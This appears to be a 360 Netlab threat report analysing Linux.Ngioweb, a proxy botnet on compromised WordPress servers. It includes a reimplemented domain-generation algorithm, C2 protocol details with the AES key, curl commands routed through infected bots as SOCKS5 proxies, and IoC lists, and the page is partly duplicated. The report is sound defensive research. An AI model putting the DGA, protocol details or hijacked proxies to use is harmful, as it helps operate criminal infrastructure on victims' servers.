<p><a href="__GHOST_URL__/content/images/2019/06/bot.png"><img src="__GHOST_URL__/content/images/2019/06/bot.png" class="kg-image"/></a></p>
<p>The following is a detailed list of countries/regions with number of infected IPs:</p>
<pre><code>US 1306
BR 156
RU 152
DE 133
FR 102
SG 98
NL 80
GB 66
CA 66
IT 64
VN 42
AU 36
PL 31
TR 28
JP 26
IN 26
ZA 21
ID 19
ES 18
UA 15
</code></pre>
<p>By probing the infected IPs, we found out that almost all Bot IPs are web servers and have WordPress programs deployed. We did not look into how the attacker took control of these WordPress sites though.</p>
<p>We contacted some infected users and found multiple WebShells on their Web servers.<br>
These WebShells are highly obscured, but the techniques, encryption, and code share similar characters.<br>
Combined with the accessing characteristics (such as time, order) the infected IPs made to the our sinkhole DGA domain, we speculate that the attacker will periodically issue commands to the WebShells on the victim websites, as well as running the Linux.Ngioweb program.</p>
<h3 id="solutionsandsuggestions">Solutions and Suggestions</h3>
<p>We recommend that readers do not use the Socks5 proxy service provided by these Stage-2 C2 IP.</p>
<p>We recommend that WordPress users back up the website article database (delete backdoor users such as wp.service.controller.*), reinstall the latest version of WordPress program, enhance user password complexity, enhance WebShell detection capabilities, and disable PHP commands to execute related functions;</p>
<h4 id="contactus">Contact us</h4>
<p>Relevant security and law enforcement agencies are welcomed to contact netlab[at]360.cn for a list of infected IP addresses.</p>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h4 id="ioclist">IoC list</h4>
<p>Sample MD5</p>
<pre><code>827ecf99001fa66de513fe5281ce064d
</code></pre>
<p>Stage-1 C2 (Hardcoded IP)</p>
<pre><code>169.239.128.166 South Africa ASN 61138 Zappie Host LLC
185.244.149.73 Romania ASN 60117 Host Sailor Ltd.
</code></pre>
<p>Stage-2 C2</p>
<pre><code>163.172.201.184 France ASN 12876 Online S.a.s.
163.172.202.116 France ASN 12876 Online S.a.s.
5.135.35.160 France ASN 16276 OVH SAS
5.135.58.119 France ASN 16276 OVH SAS
5.135.58.121 France ASN 16276 OVH SAS
5.135.58.123 France ASN 16276 OVH SAS
5.135.58.124 France ASN 16276 OVH SAS
5.196.194.209 France ASN 16276 OVH SAS
51.254.57.83 France ASN 16276 OVH SAS
54.36.244.84 France ASN 16276 OVH SAS
54.36.244.85 France ASN 16276 OVH SAS
54.36.244.91 France ASN 16276 OVH SAS
91.121.36.212 France ASN 16276 OVH SAS
91.121.236.219 France ASN 16276 OVH SAS
91.134.157.11 France ASN 16276 OVH SAS
92.222.151.63 France ASN 16276 OVH SAS
145.239.108.241 Germany ASN 16276 OVH SAS
178.33.101.176 Ireland ASN 16276 OVH SAS
178.33.101.177 Ireland ASN 16276 OVH SAS
178.33.101.178 Ireland ASN 16276 OVH SAS
178.33.101.182 Ireland ASN 16276 OVH SAS
188.165.5.123 Ireland ASN 16276 OVH SAS
188.165.163.20 France ASN 16276 OVH SAS
193.70.73.115 France ASN 16276 OVH SAS
</code></pre>
<p>Stage-1 C2 (DGA)</p>
<pre><code>enutofish-pronadimoful-multihitision.org
exaraxexese-macrobacaward-exafosuness.net
nonafudazage.name
demigelike.net
emuvufehood.net
subolukobese.biz
inogepicor-prorarurument.biz
overahudulize-unazibezize-overuzozerish.org
imunolance-postodinenetn-antifipuketn.net
antizerolant-monogevudom.info
transavecaful-transinenation-transikaduhern.com
subogonance.info
inoxodusor-misehupukism.info
devikoviward-semibazegily-copaxugage.name
eniguzeless-inecimanable.net
subilebesion-irogipate.biz
colozosion-antigobunaful.name
inudiduty-dezaviness.org
irelizaring-enipulical-monovuxehossion.info
ilenudavous-monoxoxapal-semimihupution.info
ultrapadupize.biz
covategal-dezakedify-enebugassion.name
transivesudom-macropimuship.org
rezolezation-transapupirify-seminecation.name
macrolutoxous-overefimety.name
coxumumage-dexolalite.name
cotexafical-postirutuvian-emimimous.biz
copubuloness-misumusal-disokozian.com
nonecuzuking-enekopofen-imakozity.info
dezohipal-ultrazebebive.name
cosazalike-antifoxirer-subudikic.biz
underotutilism-monoceraretion-underosociful.name
overugiror.net
emuzixucize.biz
disicevament-desizigasion-recadihuful.biz
decehoward-microhikodely-overokerezant.com
microlasokadom-ultralarumous.info
minixecision-iruzaxuhood.net
profusonuty.info
multifipakency-conovofy-prorakikate.com
antiseramoment.info
postavutetn-emedarevous.biz
inolugoty-inidiverible.com
prodipamament.biz
overogobity-imivocurify-disovizution.biz
decozaness-antihazation-overetalovical.net
nonesolafy.com
unihatosancy.name
interiragocern-micropuxotion-transogorion.org
seminamatity-enogibely.name
inosebovion.net
exofifure-postirexument.info
transirirenern-semizafunic-nonivubed.biz
enegizize-microtizobity.name
macrohuseded-multipazaseship.com
imefihured-macrohixuhood.org
microlulition-macrokiguxable.biz
multizesumefy-emebefion.biz
underebelassion-postizoziless.info
dezuvazen.name
decotusion-exexavihood-exevozebant.name
disuzepuly.info
inuviging-antizoluly.biz
multisotiren-ilazufist.org
predepussion.info
inidozadom.name
interikuhaful.info
cozuheming.biz
multiruxuth.org
monozogeced.org
mononoredom.info
postarubixage-monocinamety-overogefesal.com
prebekokian-misadepepive-transilogify.com
monohatodom-cohotiship.com
exebasusion.org
unahodoness-emevuzeward-emuzeduness.com
exemidexous-underiposapite-unegatature.name
interocugopist-misugexadic-ilobipegency.org
monokifomancy-misagefism-macrobepoth.com
antizekussion-minipusaral-copofuxoship.com
relutodom-comakitize.name
multikezusion.org
emopumical-enohecical.org
semitegopish.net
recepatission.info
inoluvary.com
seminitotuful.info
interanubing-emelulotal-transugotuzern.com
subefehity-iledutession.name
ultrapapiten.biz
transuvarusish-prozumoxety.info
transisigern.org
imirotiship-microhopulive-emotomeship.com
presefavution.info
enevifaking.org
misidogive-coxecovor-dexefoxan.name
overazadudom-deliromohood.com
emakanuward.com
emitohage-overasuhorure-antitipenoless.info
ultrasesebible.biz
multihadekite.name
iluvused-iravoxish.info
postobagoly-detovaward-unixohible.biz
underasusogen.com
imovaman-multimihivoship-imeduxian.biz
dedunuguhood.com
prevukition.info
underehugavish.org
misoxomelical-iluxubism.net
microcolacoful-postabitition.name
overurohely-overadolure-iruraluness.org
unurodable-dekipuhic-postuxufous.org
unitucihern-postadagen-imupuduth.org
imukokuship.org
prenubocetion-ultrahahohood.com
monofugition-underefogukic.org
irofetufy.com
irobigelike.org
presifament.biz
overetigution.info
enuvopan-imixesoward-irarupipary.biz
inorofizian.com
monopadecotion-multicecihood-imuzicasion.com
exofosehance-minimezazofy.org
monokacofudom-inuvinable.com
emisucosion-prohosexite-imorekusion.net
semiledoduly.info
multivapufy-promumuly-enonuben.net
subebodency.info
cofexasish-inodehed.net
unutexupify-conofubusion.com
misebonure-iluborize-rezericify.com
exunaxian.info
colanizity-postosecive-nonuresible.info
dedaliward-imipusen-inacaliver.com
refusovize.org
monokuvission-transodigical-semihehamussion.biz
transalavudom-multilavezuhood.net
exusizeward.net
unisimor.name
minipihagaship.com
recusigetion-transubeviful.info
multixizitufy-microtomuly-multixoleward.com
microxulodish-semibahoty.biz
macrokunith-proxobivive.net
preginaxodom.name
transimapeful-cotalision.com
prefinazuly.name
inucasazing-microhesunian-semidikokement.biz
disitirotion-transekarenate.org
unehihify-antimepavable-nonubovafy.net
misunotelike-nonugidant.info
enogosudom-macrogekabive.biz
postozokipetn-microdomobaly.biz
interunavission-ininibecist.org
microhinoler.org
prosihamish-noneguhaness.com
preberekous-microkagibant-imemahal.name
iletegifage.org
emikuraran.biz
overokigoty-ilecavish.net
nonikofucable-postelihuzism-rexecigism.net
imixifure.info
minirabupeness-nonitefuward.org
misasugegify-underazosuzish-exuvexezical.info
multipocihood-monomuhunible.org
nonohacutancy-postuxikitan-microseditoless.info
overasobament.info
overulurotion.biz
disepadely-disuzirovor.net
repetepian-irelucify.biz
enikobadom-postolixement.name
inunatogite-imoboraness.net
irimarefy.net
monohiloless-demodefy.com
previbetian-misunohigate.info
multivunuhance-inabiber.com
semicasinaty-ilibaholy.biz
transupovetn-monozeruduless.biz
debapesetn-underisaxufical-imukugamism.info
multibibetefy.com
exanonish.name
interanulish-imazekalike-unisukugate.info
inokevidage.org
monofipuly-underubihal.net
profobekify-subebobefy-exozufous.name
macrovetecuship-emebudemical-underaxakament.biz
demeficiward-retitisily-macromuvaward.org
monosumuly-ilenusuty-dedabaness.net
exapofaran-postulusadify.com
microhobament-postevofafity.com
rebezusaly-overidirity-ultrahiseness.org
unafacigage-transihicical-prebokity.info
interazution-irudegufy-antinefoly.biz
minizecidish-macrolafukish-depovased.biz
derirepous-cosideship-semibiseless.biz
overupazadity-irativorical.name
coseviness-nonikunant-macrorasihood.net
nonesocern-macrotocipity.info
interuzoputy.info
inicinic-misuluzan-ultrakuxuness.com
sububesebism-ultrabutath.com
misacireship.org
exuxuburan-miniravuhood-exosoxen.info
macrozigahood-monosulopancy.com
unegoping-detunusion-antimuruseful.biz
macrozixaward-semivanimoly-underekutoty.biz
ultratipuxian-inosilission-multiridith.net
microtonagament.info
cobemesion-redacocoful.name
disicogure-seminedasoly.biz
dekacify.net
emegamilike-imupogazance-ultrapanacesion.org
unocelibable-underelatucance.com
irodetolike-imisocatite-inecolafian.com
antikuzucen-irokarance-transitupikible.org
semiralety-macrorobinant-ultrapixutency.biz
transisomuless.name
ilebigument-macroripakesion.org
profebarable.org
nonixigefy-protisumiless.biz
corahicohood.com
pretuvution-disafatutical-irehopuvese.name
miniregath-anticesuty-postudagily.biz
coguvilaship-recakubodom.name
overipugoful-interizihing.org
imipadaness-iralikoward-semitolicoly.info
interupefity-semigiduly.info
macromosoriship.net
antigizepist.net
subuluhic-disomokate.net
irunucudor-macrogocudern-comoxizish.name
underedofobate.net
prolapuzern-progobutiful-dehifasion.org
irucasian-macrofevasion.net
unogoxeness-semixocapency.org
rehofocese.org
exebutian-interomifenism.org
subihefahood-subenopure-ultramoherihood.net
nonezogeward.com
exasavate-minidevilefy-subanevous.biz
enodenission-overucelancy-microvitasission.info
ultrafakitesion-misesuzahical-transanafetion.biz
interinipoly-minimorovor-debininess.com
prenedelission-interugefable-repekosossion.name
postifozible-irololuship.com
unozolasion.org
unobelaness-prepifavety.info
cofukosable.info
iloletible-imakeben.info
ultraronupity.name
minikisision-monobavunism-micronepavage.org
unufepaness-misedepugance.biz
inafolage.com
semifolofic-unaraxal.biz
enerivosism-imenufanist-macrovonahood.org
monobocution.info
cosuzuness-prepurizor-unasulal.name
inopivic-antimaporary-subavocobive.biz
covogidish-iletinassion.biz
defizalike-unodatage-inarabevous.com
unuvirisern-interusalosize-misucakiness.org
ireninenish-multicemath-prezucetussion.biz
interodekive.com
iramilahood-antirotuxary-misobegesion.name
multidafadite-postagoker.org
monobagehance.net
emixuvidite-ilofikency-subolubify.biz
postugihucency-emademify.name
cotefehood-imocakitency.biz
enikavely-inosifuty-postaviraly.info
transabusossion.biz
interitebure.net
unehumugage-ultraburosion.com
subutavahen-inuhabish.org
subifefer-devufoward-probelalance.org
emefimafible.biz
ilibefudom.biz
postemivaxage.net
monofudumossion.info
inuxazodom-macrodexaxahood.org
semibugegetn-monohifutuly.biz
macromohazaship-subonohion-disonixucing.com
emosacekant-cokebohood-nonetakive.biz
interozecifist-antipinukity-multifekemath.net
refedomous-antifaliless.name
ultraxekevohood-nonizerosion-exovigant.name
interarogous-unuculuhood.org
semipulimian.com
monocalacaless.biz
disevolikency-retipegation.biz
cosituxath-misuxunor.info
ultraporader-conapefy-prolobeziless.info
ilucasure.com
reletohite-misosulahood-antitedudom.info
minivucilous-inafafomism.net
monorifutaless-ilocamussion.name
inohufohese-imufilahood-antifidupite.com
emegemaxed-transigifuty-multitumolith.net
exotacible-denitokolike.com
</code></pre>
<!--kg-card-end: markdown--> | Background
On May 27, 2019, Our Unknown Threat Detect System highlighted a suspicious ELF file, and till this day, the detection rate on VT is still only one with a very generic name. We determined that this is a Proxy Botnet, and it is a Linux version variant of the Win32.Ngioweb[1] malware. We named it Linux.Ngioweb. It shares a lot of code with Win32.Ngioweb, except that it has DGA features. We registered one of the DGA C2 domain names (enutofish-pronadimoful-multihitision.org) and was able to observe the Bot connections.
In addition, we have observed that Linux.Ngioweb malware has been implanted into a large number of WordPress Web servers.
Although the Bot program is loaded with the privilege of the user group corresponding to the Web container, it still works and runs as Rotating Proxy node[2].
We don’t know why the attacker runs this proxy botnet, but it is possible that everything goes through the proxy is being recorded by the attacker.
Overview of Linux.Ngioweb
The main functionality of the Linux.Ngioweb Bot sample is to implement Back-Connect Proxy[3].on the victim's machine. The attacker builds multiple Bots into a Proxies Pool and controls it through a two-tier C2 protocol, then provides a Rotating Proxy Service.
Reverse engineering on Linux.Ngioweb
Basic information
* MD5: 827ecf99001fa66de513fe5281ce064d
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped
Anti-reverse engineering technique
*
Uses a niche library named musl libc
*
Stores its functions in the function table in advance
*
Uses Stack Strings Obfuscation
*
Generates constant table used by CRC and AES
*
Uses a two-tier C2 protocol, where Stage-2 C2 is determined by the CONNECT instruction of Stage-1 C2
*
Stage-2 C2 uses a two-layer encrypted communication protocol
Stage-1 C2 protocol analysis
At this stage, the main behavior of the sample is to establish communication with Stage-1 C2, and proceed to the next step according to the instructions returned by C2.
Communication attempt
*
Try to establish communication with the following hardcoded C2 IP every 60 seconds
169.239.128.166:443
185.244.149.73:443
*
Try to establish communication with the domain name generated by DGA (Domain Generation Algorithm) every 73 seconds. When the number of DGA domain names reaches 300, the Seed will be reset. So the total number of DGA domain names is 300.
DGA implementation
uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
uint32_t tmp = 0x41C64E6D * seed + 0x3039;
seed = tmp;
return tmp % mod;
}
string dga(uint32_t& seed)
{
char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
"over", "mis", "dis", "pre", "post", "anti","inter",
"sub", "ultra", "non", "de","pro", "trans", "ex",
"macro", "micro", "mini","mono", "multi", "semi", "co" };
char* BodyBufA[] = {"able","ant","ate","age","ance","ancy","an","ary",
"al","en","ency","er","etn", "ed", "ese","ern","ize",
"ify","ing","ish","ity","ion","ian","ism","ist","ic","ical",
"ible","ive","ite","ish","ian","or","ous","ure" };
char* BodyBufB[] = {"dom","hood","less","like","ly","fy","ful","ness",
"ment","sion","ssion","ship","ty","th","tion","ward" };
char* TailBuf[] = { ".net",".info",".com",".biz",".org",".name" };
string BlockBufA = "aeiou";
string BlockBufB = "bcdfghklmnprstvxz";
string domain;
uint32_t dashloop = GenSeed(seed, 3) + 1;
while (dashloop--)
{
domain += HeadBuf[GenSeed(seed, 0x1e)];
int flag = 0;
int i = 0;
if (BlockBufA.find(domain.back()) == string::npos)
flag = 1;
int fillcnt = GenSeed(seed, 0x3) + 4;
while (fillcnt > i)
{
if (flag + i & 1)
domain += BlockBufA[GenSeed(seed, 0x5)];
else
domain += BlockBufB[GenSeed(seed, 0x11)];
i++;
}
if (BlockBufA.find(domain.back()) == string::npos)
domain += BodyBufA[GenSeed(seed, 0x23)];
else
domain += BodyBufB[GenSeed(seed, 0x10)];
if (dashloop != 0)
domain += "-";
}
return domain += TailBuf[GenSeed(seed, 0x6)];
}
Communication Protocol
This phase of communication is based on the HTTP protocol and the parameters are Base64 encoded.
Packets overview
Sent Packets decode
After decoded the parameter content by Base64, we get the following information.
*
id=machine-id[0:15]
*
v=x86_64, hardcoded, architecture
*
sv=5003, hardcoded, version number
*
&qlohmzalwdepupwf, random 16-byte data, the algorithm is as follows
*
User-Agent, hardcoded
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Received Packets decode
Command Supported
* WAIT
* CONNECT
* DISCONNECT
* CERT
Stage-2 C2 protocol analysis
At this stage, the main action of the sample is to establish communication with the C2 of Stage-2 and enable the Back-Connect Proxy function. C2 of stage-2 is specified by the CONNECT command.
Communication Protocol
At this stage, the communication is combined by double-layer encryption. The inner layer is XOR and the outer layer is AES.
Packets overview
Encryption Algorithm
The XOR key is generated by a random algorithm:
The algorithm is:
AES uses ECB mode, no padding. The key is:qwerasdfzxcqwerasdftyuirfdsdsdss
Packet Structure
The packet consists of two parts: “header” and “msg”.
“header” structure:
#le->little endian
#be->big endian
struct header
{
uint32_le xorkey;
uint32_be msgcrc32;
uint32_be len;
uint16_be msgcode
uint16_be magic
};
“msg” consists of chunks, and the chunks supported by the sample are as follows:
Chunk Type
Chunk Length
Description
1
1
BYTE
2
2
WORD big endian
3
4
DWORD big endian
4
8
QWORD big endian
5
N+4
Bytes array.The first 4 bytes of chunk are the big endian-encoded length (N) of the array
A “msg” can have one or more chunks, and different “msg”s are made up by different chunks .
The “msg” types uses by this sample are “recv” and “send”.
*
recv
*
send
See the table below for a summary of different “msg”s:
msgcode
Driection
Description
Fromat
0x1010
recv
set channel id
3 chunks:(QWORD ConnId, Array IPAddr,WORD Port)
0x1011
recv
start proxy request
5 chunks:(QWORD RequestId, BYTE reason,BYTE AddrType,Array Addr, WORD port)
0x1012
recv
close connection
1 chunk:(QWORD ConnId)
0x10
send
check-in
1 chunk:(QWORD BotId)
0x11
send
set-channel ack
1 chunk:(DWORD VersionId)
0x14
send
tcp server started
5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port)
0x15
send
error
2 chunks:(DWORD RequestId,BYTE reason )
0x16
send
udp server started
5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port)
Sent packets sample analysis
*
Raw data
packet[0:31]:
6c 52 8c 08 3e 80 a9 3c 00 00 00 10 00 10 fa 51
04 dd b0 b4 9d 10 ec 42 c3 00 00 00 00 00 00 00
header --->packet[0:15]
xorkey --->0x088c526c
msgcrc32 --->0x3e80a93c
msglen --->0x00000010
msgcode --->0x0010,check-in
magic --->0xfa51
msg --->packet[16:31]
1st chunk
chunktype --->0x4
content --->0xddb0b49d10ec42c3
*
After XOR encryption
6c 52 8c 08 36 0c fb 50 08 8c 52 7c 08 9c a8 3d
0c 51 e2 d8 95 9c be 2e cb 8c 52 6c 08 8c 52 6c
*
After AES encryption
c1 d3 78 71 2d f6 5b bb 16 ca ff 8b ef 69 bb 26
3b 01 f0 22 70 09 38 dc e7 06 89 de 2b 55 eb 8e
Received packets sample analysis
*
Raw data
c5 ad 4a bf 30 C2 3a 43 9b 6e 22 08 73 e0 b9 5d
3c e6 b7 f0 74 76 53 43 3a 79 0e 82 80 1a c3 84
ba a4 85 05 4a 63 b1 d6 d1 94 ad 53 be 7a 9a 88
*
After AES decryption
59 8b e5 6d 4a ee bf ef 6d e5 8b 79 7d f5 71 08
69 b8 81 aa 92 ed 65 fb 29 e0 8b 59 6d e1 51 47
19 e1 89 d8 29 e5 8b 59 6d e5 8b 59 6d e5 8b 59
*
After XOR decryption
packet[0:47]
59 8b e5 6d 27 0b 34 b6 00 00 00 20 10 10 fa 51
04 5d 0a f3 ff 08 ee a2 44 05 00 00 00 04 da 1e
74 04 02 81 44 00 00 00 00 00 00 00 00 00 00 00
header --->packet[0:15]
xorkey --->0x6de58b59
msgcrc32 --->0x270b34b6
msglen --->0x00000020
msgcode --->0x1010,set channel id
magic --->0xfa51
msg --->packet[16:47]
1st chunk
chunktype --->0x04
content --->0x5d0af3ff08eea244
2nt chunk
chunktype --->0x05
content --->len:0x00000004 buf:0xda1e7404
3rd chunk
chunktype --->0x02
content --->0x8144
Stage-2 C2 association analysis
We obtained the following 6 Stage-2 C2 addresses by visiting the Stage-1 C2 URL (http://185.244.149.73:443/min.js).
5.135.58.119
5.135.58.121
5.135.58.123
5.135.58.124
91.134.157.11
193.70.73.115
We looked up this md5 (9017804333c820e3b4249130fc989e00) in our GraphicQuery platform and was able to find more IPs which host the same file, we then sent specific crafted packets to these IPs and was able to ID another 18 Stage-2 C2s.
5.135.35.160
5.196.194.209
51.254.57.83
54.36.244.84
54.36.244.85
54.36.244.91
91.121.36.212
91.121.236.219
92.222.151.63
145.239.108.241
163.172.201.184
163.172.202.116
178.33.101.176
178.33.101.177
178.33.101.178
178.33.101.182
188.165.5.123
188.165.163.20
We found that these Stage-2 C2 IP address are providing Socks5 proxy service by looking them up on free-socks.in
As we tested, all these Socks5 proxy IPs are properly functioning. Also, they accessed the C2 domain we own(enutofish-pronadimoful-multihitision.org) via the Stage-1 C2 protocol, so it can be said that they are all Linux.Ngioweb Bots.
root@localhost:~# curl --socks5 91.134.157.11:50880 ifconfig.me
31.170.123.49
root@localhost:~# curl --socks5 91.134.157.11:62012 ifconfig.me
208.113.197.88
root@localhost:~# curl --socks5 91.134.157.11:18278 ifconfig.me
45.58.190.100
root@localhost:~# curl --socks5 91.134.157.11:64380 ifconfig.me
72.29.64.29
root@localhost:~# curl --socks5 91.134.157.11:47067 ifconfig.me
54.38.101.17
root@localhost:~# curl --socks5 91.134.157.11:63862 ifconfig.me
88.99.212.97
root@localhost:~# curl --socks5 91.134.157.11:49475 ifconfig.me
23.91.65.240
Infected IPs information
By listening on C2 domain (enutofish-pronadimoful-multihitision.org), we have observed a total of 2692 Bot IPs.
The following is a detailed list of countries/regions with number of infected IPs:
US 1306
BR 156
RU 152
DE 133
FR 102
SG 98
NL 80
GB 66
CA 66
IT 64
VN 42
AU 36
PL 31
TR 28
JP 26
IN 26
ZA 21
ID 19
ES 18
UA 15
By probing the infected IPs, we found out that almost all Bot IPs are web servers and have WordPress programs deployed. We did not look into how the attacker took control of these WordPress sites though.
We contacted some infected users and found multiple WebShells on their Web servers.
These WebShells are highly obscured, but the techniques, encryption, and code share similar characters.
Combined with the accessing characteristics (such as time, order) the infected IPs made to the our sinkhole DGA domain, we speculate that the attacker will periodically issue commands to the WebShells on the victim websites, as well as running the Linux.Ngioweb program.
Solutions and Suggestions
We recommend that readers do not use the Socks5 proxy service provided by these Stage-2 C2 IP.
We recommend that WordPress users back up the website article database (delete backdoor users such as wp.service.controller.*), reinstall the latest version of WordPress program, enhance user password complexity, enhance WebShell detection capabilities, and disable PHP commands to execute related functions;
Contact us
Relevant security and law enforcement agencies are welcomed to contact netlab[at]360.cn for a list of infected IP addresses.
Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn.
IoC list
Sample MD5
827ecf99001fa66de513fe5281ce064d
Stage-1 C2 (Hardcoded IP)
169.239.128.166 South Africa ASN 61138 Zappie Host LLC
185.244.149.73 Romania ASN 60117 Host Sailor Ltd.
Stage-2 C2
163.172.201.184 France ASN 12876 Online S.a.s.
163.172.202.116 France ASN 12876 Online S.a.s.
5.135.35.160 France ASN 16276 OVH SAS
5.135.58.119 France ASN 16276 OVH SAS
5.135.58.121 France ASN 16276 OVH SAS
5.135.58.123 France ASN 16276 OVH SAS
5.135.58.124 France ASN 16276 OVH SAS
5.196.194.209 France ASN 16276 OVH SAS
51.254.57.83 France ASN 16276 OVH SAS
54.36.244.84 France ASN 16276 OVH SAS
54.36.244.85 France ASN 16276 OVH SAS
54.36.244.91 France ASN 16276 OVH SAS
91.121.36.212 France ASN 16276 OVH SAS
91.121.236.219 France ASN 16276 OVH SAS
91.134.157.11 France ASN 16276 OVH SAS
92.222.151.63 France ASN 16276 OVH SAS
145.239.108.241 Germany ASN 16276 OVH SAS
178.33.101.176 Ireland ASN 16276 OVH SAS
178.33.101.177 Ireland ASN 16276 OVH SAS
178.33.101.178 Ireland ASN 16276 OVH SAS
178.33.101.182 Ireland ASN 16276 OVH SAS
188.165.5.123 Ireland ASN 16276 OVH SAS
188.165.163.20 France ASN 16276 OVH SAS
193.70.73.115 France ASN 16276 OVH SAS
Stage-1 C2 (DGA)
enutofish-pronadimoful-multihitision.org
exaraxexese-macrobacaward-exafosuness.net
nonafudazage.name
demigelike.net
emuvufehood.net
subolukobese.biz
inogepicor-prorarurument.biz
overahudulize-unazibezize-overuzozerish.org
imunolance-postodinenetn-antifipuketn.net
antizerolant-monogevudom.info
transavecaful-transinenation-transikaduhern.com
subogonance.info
inoxodusor-misehupukism.info
devikoviward-semibazegily-copaxugage.name
eniguzeless-inecimanable.net
subilebesion-irogipate.biz
colozosion-antigobunaful.name
inudiduty-dezaviness.org
irelizaring-enipulical-monovuxehossion.info
ilenudavous-monoxoxapal-semimihupution.info
ultrapadupize.biz
covategal-dezakedify-enebugassion.name
transivesudom-macropimuship.org
rezolezation-transapupirify-seminecation.name
macrolutoxous-overefimety.name
coxumumage-dexolalite.name
cotexafical-postirutuvian-emimimous.biz
copubuloness-misumusal-disokozian.com
nonecuzuking-enekopofen-imakozity.info
dezohipal-ultrazebebive.name
cosazalike-antifoxirer-subudikic.biz
underotutilism-monoceraretion-underosociful.name
overugiror.net
emuzixucize.biz
disicevament-desizigasion-recadihuful.biz
decehoward-microhikodely-overokerezant.com
microlasokadom-ultralarumous.info
minixecision-iruzaxuhood.net
profusonuty.info
multifipakency-conovofy-prorakikate.com
antiseramoment.info
postavutetn-emedarevous.biz
inolugoty-inidiverible.com
prodipamament.biz
overogobity-imivocurify-disovizution.biz
decozaness-antihazation-overetalovical.net
nonesolafy.com
unihatosancy.name
interiragocern-micropuxotion-transogorion.org
seminamatity-enogibely.name
inosebovion.net
exofifure-postirexument.info
transirirenern-semizafunic-nonivubed.biz
enegizize-microtizobity.name
macrohuseded-multipazaseship.com
imefihured-macrohixuhood.org
microlulition-macrokiguxable.biz
multizesumefy-emebefion.biz
underebelassion-postizoziless.info
dezuvazen.name
decotusion-exexavihood-exevozebant.name
disuzepuly.info
inuviging-antizoluly.biz
multisotiren-ilazufist.org
predepussion.info
inidozadom.name
interikuhaful.info
cozuheming.biz
multiruxuth.org
monozogeced.org
mononoredom.info
postarubixage-monocinamety-overogefesal.com
prebekokian-misadepepive-transilogify.com
monohatodom-cohotiship.com
exebasusion.org
unahodoness-emevuzeward-emuzeduness.com
exemidexous-underiposapite-unegatature.name
interocugopist-misugexadic-ilobipegency.org
monokifomancy-misagefism-macrobepoth.com
antizekussion-minipusaral-copofuxoship.com
relutodom-comakitize.name
multikezusion.org
emopumical-enohecical.org
semitegopish.net
recepatission.info
inoluvary.com
seminitotuful.info
interanubing-emelulotal-transugotuzern.com
subefehity-iledutession.name
ultrapapiten.biz
transuvarusish-prozumoxety.info
transisigern.org
imirotiship-microhopulive-emotomeship.com
presefavution.info
enevifaking.org
misidogive-coxecovor-dexefoxan.name
overazadudom-deliromohood.com
emakanuward.com
emitohage-overasuhorure-antitipenoless.info
ultrasesebible.biz
multihadekite.name
iluvused-iravoxish.info
postobagoly-detovaward-unixohible.biz
underasusogen.com
imovaman-multimihivoship-imeduxian.biz
dedunuguhood.com
prevukition.info
underehugavish.org
misoxomelical-iluxubism.net
microcolacoful-postabitition.name
overurohely-overadolure-iruraluness.org
unurodable-dekipuhic-postuxufous.org
unitucihern-postadagen-imupuduth.org
imukokuship.org
prenubocetion-ultrahahohood.com
monofugition-underefogukic.org
irofetufy.com
irobigelike.org
presifament.biz
overetigution.info
enuvopan-imixesoward-irarupipary.biz
inorofizian.com
monopadecotion-multicecihood-imuzicasion.com
exofosehance-minimezazofy.org
monokacofudom-inuvinable.com
emisucosion-prohosexite-imorekusion.net
semiledoduly.info
multivapufy-promumuly-enonuben.net
subebodency.info
cofexasish-inodehed.net
unutexupify-conofubusion.com
misebonure-iluborize-rezericify.com
exunaxian.info
colanizity-postosecive-nonuresible.info
dedaliward-imipusen-inacaliver.com
refusovize.org
monokuvission-transodigical-semihehamussion.biz
transalavudom-multilavezuhood.net
exusizeward.net
unisimor.name
minipihagaship.com
recusigetion-transubeviful.info
multixizitufy-microtomuly-multixoleward.com
microxulodish-semibahoty.biz
macrokunith-proxobivive.net
preginaxodom.name
transimapeful-cotalision.com
prefinazuly.name
inucasazing-microhesunian-semidikokement.biz
disitirotion-transekarenate.org
unehihify-antimepavable-nonubovafy.net
misunotelike-nonugidant.info
enogosudom-macrogekabive.biz
postozokipetn-microdomobaly.biz
interunavission-ininibecist.org
microhinoler.org
prosihamish-noneguhaness.com
preberekous-microkagibant-imemahal.name
iletegifage.org
emikuraran.biz
overokigoty-ilecavish.net
nonikofucable-postelihuzism-rexecigism.net
imixifure.info
minirabupeness-nonitefuward.org
misasugegify-underazosuzish-exuvexezical.info
multipocihood-monomuhunible.org
nonohacutancy-postuxikitan-microseditoless.info
overasobament.info
overulurotion.biz
disepadely-disuzirovor.net
repetepian-irelucify.biz
enikobadom-postolixement.name
inunatogite-imoboraness.net
irimarefy.net
monohiloless-demodefy.com
previbetian-misunohigate.info
multivunuhance-inabiber.com
semicasinaty-ilibaholy.biz
transupovetn-monozeruduless.biz
debapesetn-underisaxufical-imukugamism.info
multibibetefy.com
exanonish.name
interanulish-imazekalike-unisukugate.info
inokevidage.org
monofipuly-underubihal.net
profobekify-subebobefy-exozufous.name
macrovetecuship-emebudemical-underaxakament.biz
demeficiward-retitisily-macromuvaward.org
monosumuly-ilenusuty-dedabaness.net
exapofaran-postulusadify.com
microhobament-postevofafity.com
rebezusaly-overidirity-ultrahiseness.org
unafacigage-transihicical-prebokity.info
interazution-irudegufy-antinefoly.biz
minizecidish-macrolafukish-depovased.biz
derirepous-cosideship-semibiseless.biz
overupazadity-irativorical.name
coseviness-nonikunant-macrorasihood.net
nonesocern-macrotocipity.info
interuzoputy.info
inicinic-misuluzan-ultrakuxuness.com
sububesebism-ultrabutath.com
misacireship.org
exuxuburan-miniravuhood-exosoxen.info
macrozigahood-monosulopancy.com
unegoping-detunusion-antimuruseful.biz
macrozixaward-semivanimoly-underekutoty.biz
ultratipuxian-inosilission-multiridith.net
microtonagament.info
cobemesion-redacocoful.name
disicogure-seminedasoly.biz
dekacify.net
emegamilike-imupogazance-ultrapanacesion.org
unocelibable-underelatucance.com
irodetolike-imisocatite-inecolafian.com
